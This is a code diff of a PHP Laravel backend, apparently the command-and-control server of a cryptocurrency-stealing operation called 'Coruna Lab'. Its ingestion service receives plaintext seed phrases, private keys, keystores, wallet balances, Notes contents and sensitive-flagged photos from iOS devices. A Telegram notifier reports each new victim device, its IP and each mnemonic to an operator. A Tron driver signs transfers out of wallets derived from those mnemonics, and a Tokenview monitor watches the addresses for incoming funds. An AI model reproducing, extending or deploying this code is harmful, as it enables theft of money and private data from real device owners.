$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
if (! hash_equals($expected, $checksum)) {
throw new RuntimeException('Invalid address checksum');
}
return bin2hex($payload);
}
}
+160
View File
@@ -0,0 +1,160 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class TronDriver implements ChainDriver
{
public function chainId(): string
{
return 'tron';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from,
'to_address' => $to,
'amount' => (int) $sun,
'visible' => true,
]);
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$parameter = $this->encodeTransferParameter($to, $sun);
$ext = $this->post('/wallet/triggersmartcontract', [
'owner_address' => $from,
'contract_address' => $contract,
'function_selector' => 'transfer(address,uint256)',
'parameter' => $parameter,
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
'call_value' => 0,
'visible' => true,
]);
$tx = $ext['transaction'] ?? null;
if (! is_array($tx)) {
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
}
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function isValidAddress(string $address): bool
{
return TronAddress::isValid($address);
}
private function path(int $index): string
{
return "m/44'/195'/0'/0/{$index}";
}
private function toSun(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
throw new RuntimeException('Invalid amount');
}
$sun = bcmul($amount, '1000000', 0);
if (bccomp($sun, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $sun;
}
private function encodeTransferParameter(string $toBase58, string $amountSun): string
{
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
return $addressWord.$amountWord;
}
/**
* @param array<string, mixed> $tx
*/
private function signAndBroadcast(array $tx, string $privateKeyHex): string
{
$txId = $tx['txID'] ?? null;
if (! is_string($txId) || $txId === '') {
throw new RuntimeException('Missing txID from node');
}
$signature = TronSigner::signTxId($privateKeyHex, $txId);
$tx['signature'] = [$signature];
$result = $this->post('/wallet/broadcasttransaction', $tx);
$ok = ($result['result'] ?? false) === true;
if (! $ok) {
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
if (is_string($msg) && ctype_xdigit($msg)) {
$decoded = @hex2bin($msg);
$msg = $decoded !== false ? $decoded : $msg;
}
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
}
return $txId;
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function post(string $path, array $payload): array
{
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
if (! $resp->successful()) {
throw new RuntimeException('Tron node HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid Tron node response');
}
return $json;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
}
return $req;
}
}
+33
View File
@@ -0,0 +1,33 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use RuntimeException;
final class TronSigner
{
/**
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
*/
public static function signTxId(string $privateKeyHex, string $txIdHex): string
{
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
if (strlen($txIdHex) !== 64) {
throw new RuntimeException('Invalid txID');
}
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKeyHex);
$sig = $key->sign($txIdHex, ['canonical' => true]);
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
$v = dechex($sig->recoveryParam & 0xff);
if (strlen($v) === 1) {
$v = '0'.$v;
}
return $r.$s.$v;
}
}
@@ -0,0 +1,74 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Log;
use RuntimeException;
use Symfony\Component\Process\Process;
class ChannelProjectService
{
/**
* Run tools/new_project.py to materialize public/web/{channelId}/.
* Domains come from config (系统设置 / env); script rebuilds sync only when domains changed.
*/
public function generate(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
throw new RuntimeException('Invalid channel id');
}
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($domains === []) {
throw new RuntimeException('投放域名未配置(系统设置 → 投放域名)');
}
$labRoot = dirname(base_path()); // coruna-lab/
$script = $labRoot.'/tools/new_project.py';
if (! is_file($script)) {
throw new RuntimeException('new_project.py not found');
}
$joined = implode(',', $domains);
$cmd = [
'python3',
$script,
'--channel-id',
$channelId,
'--deployment-domains',
$joined,
'--reporting-domains',
$joined,
];
$process = new Process($cmd, $labRoot);
$process->setTimeout(600);
$process->run();
if (! $process->isSuccessful()) {
Log::error('new_project failed', [
'channel_id' => $channelId,
'out' => $process->getOutput(),
'err' => $process->getErrorOutput(),
]);
$this->deleteWebTree($channelId);
throw new RuntimeException(
'生成渠道资源失败: '.trim($process->getErrorOutput() ?: $process->getOutput() ?: 'unknown')
);
}
}
public function deleteWebTree(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
return;
}
$dir = public_path('web/'.$channelId);
if (is_dir($dir)) {
File::deleteDirectory($dir);
}
}
}
+301 -122
View File
@@ -7,8 +7,10 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -153,11 +155,12 @@ class IngestService
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
@@ -165,7 +168,7 @@ class IngestService
$device->save();
}
return $device;
return $device->refresh();
}
/**
@@ -232,141 +235,207 @@ class IngestService
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
$secret = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
$secret = trim($payload[$key]);
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
if ($secret === null || $secret === '') {
return;
}
$wallet = new Wallet([
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
'mnemonic_hash' => $hash,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
$isNew = ! $row->exists;
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
public function ingestKeystore(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
return;
}
$result = $payload['result'];
if (is_string($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded)) {
$result = $decoded;
}
}
if (! is_array($result) && ! is_string($result)) {
return;
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
$source = WalletSource::fromTag($payload['a'] ?? null);
$rows = $this->normalizeStatusAddressRows($payload);
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
$notify = [];
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
if (! is_string($address) || $address === '') {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$chainType = (string) ($row['chain_type'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$balance = $row['balance'] ?? '';
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
if (! is_array($balance) && ! is_string($balance)) {
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->where('source', $source)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
$attrs = ['chain_type' => $chainType];
foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value;
}
if (! $existing) {
$attrs['monitor'] = 0;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
if ($shouldNotify) {
$notify[] = [
'address' => $address,
'chain' => $chainType,
'balance' => $balanceSummary,
'source' => $source,
];
}
unset($addr);
}
if ($notify !== []) {
$this->telegram->notifyNewWallets($device->device_id, $notify);
}
}
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
$list = $payload['list'];
if (! is_array($list)) {
$list = [$list];
}
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
Note::query()->create([
'device_id' => $device->id,
'content' => array_values($list),
]);
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
/**
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
*
* @return array{0: ?int, 1: ?int}
*/
public static function decodeHexCounterPair(mixed $packed): array
{
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
}
/**
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $meta
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
'x_hit' => $xHit,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}
@@ -425,37 +494,43 @@ class IngestService
return null;
}
private function looksLikeMnemonic(string $value): bool
/**
* Normalize `/api/user/status` shapes into address rows.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeStatusAddressRows(array $payload): array
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
$ba = $payload['ba'] ?? null;
if (is_string($ba)) {
$decoded = json_decode($ba, true);
$ba = is_array($decoded) ? $decoded : null;
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
if (is_array($ba)) {
return $this->normalizeBaAddressRows($ba);
}
return $out;
$ad = $payload['ad'] ?? null;
if (is_string($ad)) {
$decoded = json_decode($ad, true);
$ad = is_array($decoded) ? $decoded : null;
}
if (is_array($ad)) {
return $this->normalizeAdAddressRows($ad);
}
if (isset($payload['data']) && is_array($payload['data'])) {
return $this->normalizeLegacyDataRows($payload['data']);
}
return [];
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeBaAddressRows(array $ba): array
{
@@ -464,25 +539,129 @@ class IngestService
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
$balance = [];
$chainType = '';
foreach ($assets as $asset) {
if (! is_array($asset)) {
continue;
}
if ($chainType === '') {
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
}
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$balance[$symbol] = WalletSource::formatBalance(
$asset['balance'] ?? 0,
$asset['decimal'] ?? $asset['decimals'] ?? null
);
}
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
'chain_type' => strtoupper($chainType),
'balance' => $balance,
];
}
return $out;
}
/**
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
* Trust: [ { address, symbol, balance, decimals }, ... ]
*
* @param array<mixed> $ad
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
*/
private function normalizeAdAddressRows(array $ad): array
{
if (array_is_list($ad)) {
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
$byAddr = [];
foreach ($ad as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
if (! isset($byAddr[$address])) {
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chain === '') {
$chain = WalletSource::inferChainType($address);
}
$byAddr[$address] = [
'address' => $address,
'chain_type' => strtoupper($chain),
'balance' => [],
];
}
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
$item['balance'] ?? $item['value'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
);
}
return array_values($byAddr);
}
// Global Wallet: address → opaque scalar (not balance) → store empty string
$out = [];
foreach ($ad as $address => $value) {
if (! is_string($address) || $address === '') {
continue;
}
$out[] = [
'address' => $address,
'chain_type' => WalletSource::inferChainType($address),
'balance' => '',
];
}
return $out;
}
/**
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
*
* @param array<mixed> $data
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeLegacyDataRows(array $data): array
{
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
$out = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => [
$symbol => WalletSource::formatBalance(
$item['balance'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
),
],
];
}
+140
View File
@@ -0,0 +1,140 @@
<?php
namespace App\Services;
use App\Models\Setting;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
class SettingsService
{
public const KEYS = [
'telegram.bot_token',
'telegram.owner_chat_id',
'channels.max_per_agent',
'channels.domains',
];
/** @return array<string, string|null> */
public function all(): array
{
$out = [];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
public function get(string $key, ?string $default = null): ?string
{
if (! $this->tableReady()) {
return $default;
}
$map = $this->cachedMap();
return array_key_exists($key, $map) ? $map[$key] : $default;
}
/**
* @param array<string, mixed> $values
*/
public function putMany(array $values): void
{
foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) {
continue;
}
$str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate(
['key' => $key],
['value' => $str === '' ? null : $str]
);
}
Cache::forget($this->cacheKey());
$this->applyToConfig();
}
public function applyToConfig(): void
{
if (! $this->tableReady()) {
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
}
}
/** Effective values for the settings form (DB overrides env). */
public function effectiveForForm(): array
{
$domains = config('coruna.channel_domains', []);
return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
];
}
/** @return list<string> */
public static function parseDomains(?string $raw): array
{
if ($raw === null || trim($raw) === '') {
return [];
}
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
return array_values(array_filter(array_map(static function ($d) {
$d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/');
return $d;
}, $parts)));
}
/** @return array<string, string|null> */
private function cachedMap(): array
{
return Cache::remember($this->cacheKey(), 300, function () {
return Setting::query()->pluck('value', 'key')->all();
});
}
private function cacheKey(): string
{
return 'coruna.settings.map';
}
private function tableReady(): bool
{
try {
return Schema::hasTable('settings');
} catch (\Throwable) {
return false;
}
}
}
+81 -9
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
@@ -25,6 +26,7 @@ class TelegramNotifier
[
'chat_id' => $chatId,
'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true,
]
);
@@ -40,21 +42,91 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'[Coruna Lab] New device',
'id: '.$deviceId,
'ios: '.($ios ?: '—'),
'ip: '.($ip ?: '—'),
'📱 <b>New Device</b>',
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]));
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
];
foreach ($wallets as $i => $w) {
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
if ($bal === '') {
$bal = '—';
}
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines));
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{
$this->send(implode("\n", [
'[Coruna Lab] New wallet address',
'device: '.$deviceId,
'chain: '.($chain ?: '—'),
'address: '.$address,
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
'🔐 <b>New Mnemonic</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]));
}
public function notifyNewPhotos(string $deviceId): void
{
$this->send(implode("\n", [
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
]));
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
): void {
$this->send(implode("\n", [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
]));
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
@@ -0,0 +1,100 @@
<?php
namespace App\Services\Tokenview;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TokenviewClient
{
public function enabled(): bool
{
return (string) config('coruna.tokenview.api_key') !== '';
}
public function setWebhookUrl(string $url): bool
{
if (! $this->enabled()) {
return false;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
try {
$resp = Http::timeout(20)
->withBody($url, 'text/plain')
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
return false;
}
}
public function getWebhookUrl(): ?string
{
if (! $this->enabled()) {
return null;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
return null;
}
$data = $resp->json('data');
return is_string($data) && $data !== '' ? $data : null;
} catch (\Throwable $e) {
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
return null;
}
}
public function addAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('add', $coinAbbr, $address);
}
public function removeAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('remove', $coinAbbr, $address);
}
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
{
if (! $this->enabled()) {
return false;
}
$coin = strtolower($coinAbbr);
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
$endpoint = sprintf(
'%s/monitor/address/%s/%s/%s',
rtrim((string) config('coruna.tokenview.base_url'), '/'),
$action,
rawurlencode($coin),
rawurlencode($addr)
);
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
'coin' => $coin,
'address' => $addr,
]);
return false;
}
}
}
@@ -0,0 +1,206 @@
<?php
namespace App\Services\Tokenview;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
class TokenviewMonitorService
{
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
) {}
/**
* Map chain_type → Tokenview coin abbr (null = unsupported).
*/
public static function coinAbbrFromChainType(?string $chainType): ?string
{
return match (strtoupper(trim((string) $chainType))) {
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'TRX', 'TRON' => 'trx',
'BTC', 'BITCOIN' => 'btc',
'BNB', 'BSC', 'BINANCE' => 'bsc',
default => null,
};
}
/**
* Map Tokenview webhook coin → wallet_addresses column for native value.
*/
public static function nativeColumnForCoin(string $coin): ?string
{
return match (strtoupper($coin)) {
'ETH' => 'eth',
'TRX' => 'trx',
'BTC' => 'btc',
'BSC', 'BNB' => 'bnb',
default => null,
};
}
public function syncMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {
return false;
}
$coin = self::coinAbbrFromChainType($address->chain_type);
if ($coin === null) {
Log::info('tokenview sync skipped: unsupported chain', [
'id' => $address->id,
'chain_type' => $address->chain_type,
]);
return false;
}
$addr = (string) $address->address;
if ((int) $address->monitor === 1) {
return $this->client->addAddress($coin, $addr);
}
return $this->client->removeAddress($coin, $addr);
}
/**
* @param array<string, mixed> $payload
*/
public function handleWebhook(array $payload): void
{
$address = trim((string) ($payload['address'] ?? ''));
$txid = trim((string) ($payload['txid'] ?? ''));
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
if ($address === '' || $txid === '' || $coin === '') {
return;
}
